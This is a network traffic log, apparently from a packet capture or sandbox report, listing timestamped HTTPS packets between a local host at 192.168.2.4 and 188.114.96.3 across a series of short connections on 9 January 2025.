Jan 9, 2025 08:32:04.266076088 CET	443	50369	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:04.413212061 CET	443	50369	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:04.413253069 CET	443	50369	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:04.413278103 CET	443	50369	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:04.413301945 CET	443	50369	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:04.413302898 CET	50369	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:04.413331985 CET	443	50369	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:04.413417101 CET	443	50369	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:04.413439989 CET	50369	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:04.413546085 CET	50369	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:04.414405107 CET	50369	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:04.415764093 CET	50370	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:04.415807962 CET	443	50370	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:04.415947914 CET	50370	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:04.416171074 CET	50370	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:04.416177034 CET	443	50370	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:04.871371031 CET	443	50370	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:04.875363111 CET	50370	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:04.875380039 CET	443	50370	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:05.102415085 CET	443	50370	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:05.102463961 CET	443	50370	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:05.102498055 CET	443	50370	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:05.102510929 CET	50370	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:05.102524996 CET	443	50370	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:05.102564096 CET	50370	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:05.102569103 CET	443	50370	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:05.102649927 CET	443	50370	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:05.102691889 CET	50370	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:05.103729010 CET	50370	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:05.105077982 CET	50371	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:05.105134010 CET	443	50371	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:05.105191946 CET	50371	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:05.105423927 CET	50371	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:05.105439901 CET	443	50371	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:05.608787060 CET	443	50371	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:05.611231089 CET	50371	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:05.611269951 CET	443	50371	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:05.753787041 CET	443	50371	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:05.753846884 CET	443	50371	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:05.753875017 CET	443	50371	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:05.753906965 CET	443	50371	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:05.753923893 CET	50371	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:05.753963947 CET	443	50371	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:05.753979921 CET	50371	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:05.754097939 CET	443	50371	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:05.754136086 CET	50371	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:05.754781961 CET	50371	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:05.755882978 CET	50372	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:05.755934000 CET	443	50372	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:05.756009102 CET	50372	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:05.756285906 CET	50372	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:05.756297112 CET	443	50372	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:06.360172033 CET	443	50372	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:06.369605064 CET	50372	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:06.369641066 CET	443	50372	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:06.482302904 CET	443	50372	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:06.482356071 CET	443	50372	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:06.482383013 CET	443	50372	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:06.482408047 CET	443	50372	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:06.482451916 CET	50372	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:06.482453108 CET	50372	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:06.482482910 CET	443	50372	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:06.482501030 CET	443	50372	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:06.482604980 CET	50372	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:06.483354092 CET	50372	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:06.484534979 CET	50373	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:06.484586000 CET	443	50373	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:06.484936953 CET	50373	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:06.484936953 CET	50373	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:06.484966993 CET	443	50373	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:06.939172983 CET	443	50373	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:06.941597939 CET	50373	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:06.941629887 CET	443	50373	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:07.080317974 CET	443	50373	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:07.080369949 CET	443	50373	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:07.080399990 CET	443	50373	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:07.080418110 CET	50373	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:07.080446959 CET	443	50373	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:07.080480099 CET	443	50373	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:07.080480099 CET	50373	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:07.080491066 CET	443	50373	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:07.080538988 CET	50373	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:07.080544949 CET	443	50373	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:07.080571890 CET	443	50373	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:07.080605030 CET	50373	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:07.081695080 CET	50373	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:07.083398104 CET	50374	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:07.083450079 CET	443	50374	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:07.083518028 CET	50374	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:07.083909988 CET	50374	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:07.083920002 CET	443	50374	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:07.567238092 CET	443	50374	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:07.570075989 CET	50374	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:07.570112944 CET	443	50374	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:07.706424952 CET	443	50374	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:07.706478119 CET	443	50374	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:07.706507921 CET	443	50374	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:07.706533909 CET	443	50374	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:07.706557989 CET	50374	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:07.706602097 CET	443	50374	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:07.706620932 CET	50374	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:07.706657887 CET	443	50374	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:07.706700087 CET	50374	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:07.707462072 CET	50374	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:07.712822914 CET	50375	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:07.712889910 CET	443	50375	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:07.712987900 CET	50375	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:07.713238955 CET	50375	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:07.713255882 CET	443	50375	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:08.171986103 CET	443	50375	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:08.177619934 CET	50375	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:08.177650928 CET	443	50375	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:08.310797930 CET	443	50375	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:08.310848951 CET	443	50375	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:08.310875893 CET	443	50375	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:08.310900927 CET	443	50375	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:08.310987949 CET	443	50375	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:08.311013937 CET	50375	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:08.311013937 CET	50375	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:08.312210083 CET	50375	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:08.313533068 CET	50375	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:08.313535929 CET	50376	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:08.313580036 CET	443	50376	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:08.316199064 CET	50376	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:08.316199064 CET	50376	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:08.316230059 CET	443	50376	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:08.802227974 CET	443	50376	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:08.807390928 CET	50376	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:08.807426929 CET	443	50376	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:08.896178961 CET	50376	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:08.896321058 CET	443	50376	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:08.896459103 CET	50376	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:08.901616096 CET	50377	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:08.901741982 CET	443	50377	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:08.901905060 CET	50377	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:08.904618025 CET	50377	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:08.904675961 CET	443	50377	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:09.365056038 CET	443	50377	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:09.365149975 CET	50377	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:09.367840052 CET	50377	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:09.367888927 CET	443	50377	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:09.368197918 CET	443	50377	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:09.369885921 CET	50377	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:09.415333033 CET	443	50377	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:09.486840010 CET	443	50377	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:09.486888885 CET	443	50377	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:09.486913919 CET	443	50377	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:09.486927986 CET	50377	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:09.486953020 CET	443	50377	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:09.486985922 CET	50377	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:09.492264986 CET	443	50377	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:09.492366076 CET	443	50377	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:09.492404938 CET	50377	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:09.492913961 CET	50377	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:09.494339943 CET	50378	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:09.494385958 CET	443	50378	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:09.494448900 CET	50378	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:09.494795084 CET	50378	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:09.494810104 CET	443	50378	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:10.114532948 CET	443	50378	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:10.121603012 CET	50378	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:10.121637106 CET	443	50378	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:10.243134022 CET	443	50378	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:10.243180037 CET	443	50378	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:10.243208885 CET	443	50378	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:10.243233919 CET	443	50378	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:10.243243933 CET	50378	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:10.243273020 CET	443	50378	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:10.243345976 CET	443	50378	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:10.243375063 CET	50378	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:10.243685007 CET	50378	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:10.245263100 CET	50378	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:10.247051954 CET	50379	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:10.247155905 CET	443	50379	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:10.247256994 CET	50379	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:10.247703075 CET	50379	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:10.247739077 CET	443	50379	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:10.723284006 CET	443	50379	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:10.727822065 CET	50379	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:10.727893114 CET	443	50379	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:10.862076998 CET	443	50379	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:10.862127066 CET	443	50379	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:10.862158060 CET	443	50379	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:10.862188101 CET	443	50379	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:10.862186909 CET	50379	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:10.862215996 CET	443	50379	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:10.862237930 CET	50379	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:10.862303972 CET	443	50379	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:10.862428904 CET	50379	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:10.863136053 CET	50379	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:10.864406109 CET	50380	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:10.864444017 CET	443	50380	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:10.865214109 CET	50380	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:10.865614891 CET	50380	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:10.865639925 CET	443	50380	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:11.336909056 CET	443	50380	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:11.339641094 CET	50380	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:11.339658022 CET	443	50380	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:11.469588995 CET	443	50380	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:11.469634056 CET	443	50380	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:11.469661951 CET	443	50380	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:11.469696999 CET	443	50380	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:11.469702005 CET	50380	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:11.469721079 CET	443	50380	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:11.469743967 CET	50380	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:11.469804049 CET	443	50380	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:11.469856024 CET	50380	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:11.471735954 CET	50380	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:11.473129034 CET	50381	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:11.473165989 CET	443	50381	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:11.473222017 CET	50381	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:11.473995924 CET	50381	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:11.474009991 CET	443	50381	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:11.817924976 CET	50381	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:11.819320917 CET	50382	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:11.819363117 CET	443	50382	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:11.820636988 CET	50382	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:11.820921898 CET	50382	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:11.820936918 CET	443	50382	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:11.863326073 CET	443	50381	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:11.942657948 CET	443	50381	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:11.942770958 CET	443	50381	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:11.942847967 CET	50381	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:11.942867994 CET	50381	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:12.275903940 CET	443	50382	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:12.275988102 CET	50382	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:12.277879000 CET	50382	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:12.277885914 CET	443	50382	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:12.278146982 CET	443	50382	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:12.279517889 CET	50382	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:12.323335886 CET	443	50382	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:12.415013075 CET	443	50382	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:12.415051937 CET	443	50382	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:12.415072918 CET	443	50382	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:12.415095091 CET	443	50382	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:12.415106058 CET	50382	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:12.415127039 CET	443	50382	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:12.415144920 CET	50382	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:12.415195942 CET	443	50382	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:12.417638063 CET	50382	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:12.417936087 CET	50382	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:12.419014931 CET	50383	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:12.419054985 CET	443	50383	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:12.419195890 CET	50383	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:12.419496059 CET	50383	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:12.419509888 CET	443	50383	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:12.893584013 CET	443	50383	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:12.895603895 CET	50383	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:12.895637989 CET	443	50383	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:13.027528048 CET	443	50383	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:13.027571917 CET	443	50383	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:13.027601957 CET	443	50383	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:13.027626991 CET	443	50383	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:13.027646065 CET	50383	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:13.027661085 CET	443	50383	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:13.027692080 CET	50383	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:13.028072119 CET	443	50383	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:13.029643059 CET	50383	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:13.030030012 CET	50383	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:13.031102896 CET	50384	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:13.031152010 CET	443	50384	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:13.031271935 CET	50384	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:13.031586885 CET	50384	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:13.031596899 CET	443	50384	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:13.485402107 CET	443	50384	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:13.488651037 CET	50384	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:13.488720894 CET	443	50384	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:13.608094931 CET	443	50384	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:13.608146906 CET	443	50384	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:13.608172894 CET	443	50384	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:13.608202934 CET	443	50384	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:13.608205080 CET	50384	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:13.608266115 CET	443	50384	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:13.608299971 CET	50384	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:13.608366013 CET	443	50384	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:13.608428955 CET	50384	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:13.609549046 CET	50384	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:13.610784054 CET	50385	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:13.610810995 CET	443	50385	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:13.610888004 CET	50385	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:13.611469030 CET	50385	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:13.611479044 CET	443	50385	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:14.084023952 CET	443	50385	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:14.086117029 CET	50385	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:14.086147070 CET	443	50385	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:14.226953983 CET	443	50385	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:14.226993084 CET	443	50385	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:14.227018118 CET	443	50385	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:14.227041960 CET	443	50385	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:14.227121115 CET	50385	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:14.227121115 CET	50385	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:14.227149010 CET	443	50385	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:14.227161884 CET	443	50385	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:14.227238894 CET	50385	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:14.227886915 CET	50385	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:14.229629993 CET	50386	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:14.229731083 CET	443	50386	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:14.229831934 CET	50386	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:14.233620882 CET	50386	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:14.233658075 CET	443	50386	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:14.708973885 CET	443	50386	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:14.713632107 CET	50386	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:14.713680983 CET	443	50386	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:14.849011898 CET	443	50386	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:14.849069118 CET	443	50386	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:14.849102974 CET	443	50386	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:14.849128962 CET	443	50386	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:14.849160910 CET	50386	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:14.849237919 CET	443	50386	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:14.849261045 CET	50386	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:14.849268913 CET	443	50386	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:14.849649906 CET	50386	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:14.850028038 CET	50386	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:14.851027966 CET	50387	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:14.851066113 CET	443	50387	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:14.851139069 CET	50387	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:14.851527929 CET	50387	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:14.851541042 CET	443	50387	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:15.307770014 CET	443	50387	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:15.309885025 CET	50387	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:15.309904099 CET	443	50387	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:15.455780029 CET	443	50387	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:15.455842972 CET	443	50387	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:15.455879927 CET	443	50387	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:15.455892086 CET	50387	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:15.455909967 CET	443	50387	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:15.455944061 CET	50387	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:15.455945969 CET	443	50387	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:15.455955982 CET	443	50387	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:15.455988884 CET	50387	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:15.455993891 CET	443	50387	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:15.456053019 CET	443	50387	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:15.456091881 CET	50387	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:15.457096100 CET	50387	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:15.462233067 CET	50388	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:15.462265968 CET	443	50388	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:15.462325096 CET	50388	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:15.462701082 CET	50388	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:15.462713957 CET	443	50388	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:15.946041107 CET	443	50388	188.114.96.3	192.168.2.4
